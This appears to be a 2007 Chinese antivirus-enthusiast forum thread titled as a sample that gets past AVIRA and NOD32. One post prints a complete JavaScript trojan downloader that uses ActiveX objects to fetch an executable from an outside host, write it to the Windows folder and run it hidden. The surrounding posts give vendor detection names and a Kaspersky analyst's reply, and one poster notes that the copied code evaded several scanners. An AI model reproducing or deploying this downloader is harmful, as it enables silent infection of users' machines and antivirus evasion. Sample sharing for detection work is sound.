过AVIRA和nod32

显示全部楼层 · 发表于 2007-5-7 09:32:50

Hello.
New malicious software was found in the attached file.
It's detection will be included in the next update as Trojan-Downloader.JS.Small.ew. Thank you for your help.
-----------------
Regards, Yury Nesmachny
Virus Analyst, Kaspersky Lab.

Ph.: +7(495) 797-8700
E-mail: newvirus@kaspersky.com
http://www.kaspersky.com http://www.viruslist.com

显示全部楼层 · 发表于 2007-5-7 09:36:18

已经上报给AVIRA和eset了。。。。

显示全部楼层 · 发表于 2007-5-7 09:44:41

function gn(n)
{
var number = Math.random()*n;
return '~tmp'+Math.round(number)+'.exe';
}
try
{
dl='http://mail.8u8y.com/ad/pic/...................exe';
var df=document.createElement("object");
df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var x=df.CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");
var S=df.CreateObject("Adodb.Stream","");
S.type=1;
x.open("GET", dl,0);
x.send();
fname1=gn(10000);
var F=df.CreateObject("Scripting.FileSystemObject","");
var tmp=F.GetSpecialFolder(0);
fname1= F.BuildPath(tmp,fname1);
S.Open();
S.Write(x.responseBody);
S.SaveToFile(fname1,2);
S.Close();
var Q=df.CreateObject("Shell.Application","");
Q.ShellExecute(fname1,"","","open",0);
}
catch(i)
{
i=1;
}

复制代码

显示全部楼层 · 发表于 2007-5-7 09:46:13

在网上看到这段代码。。。。然后自己copy一下。。。没想到竟然过了卡巴，nod32和AVIRA

显示全部楼层 · 发表于 2007-5-7 09:49:37

代码... 你竟然要杀软杀代码...

先把它compile成exe再来扫吧
可惜我的compiler被电脑管理员卸载了

显示全部楼层 · 发表于 2007-5-7 09:51:30

本来想弄成js给卡巴的。。。。。

显示全部楼层 · 发表于 2007-5-7 09:52:03

\virus\鏂板缓_鏂囨湰鏂囨。.rar>>鏂板缓鏂囨湰鏂
囨。\新建文本文档.txt

Trojan.DL.JS.Agent.lcd

显示全部楼层 · 发表于 2007-5-7 09:59:03

C:\Documents and Settings\moonsilver\桌面\1.js

Trojan.DL.JS.Agent.f

rising

显示全部楼层 · 发表于 2007-5-7 10:08:28

Generic.XPL.ADODB.7A6784DE

显示全部楼层 · 发表于 2007-5-7 12:02:32

驱逐舰

[病毒样本] 过AVIRA和nod32

本帖子中包含更多资源

本帖子中包含更多资源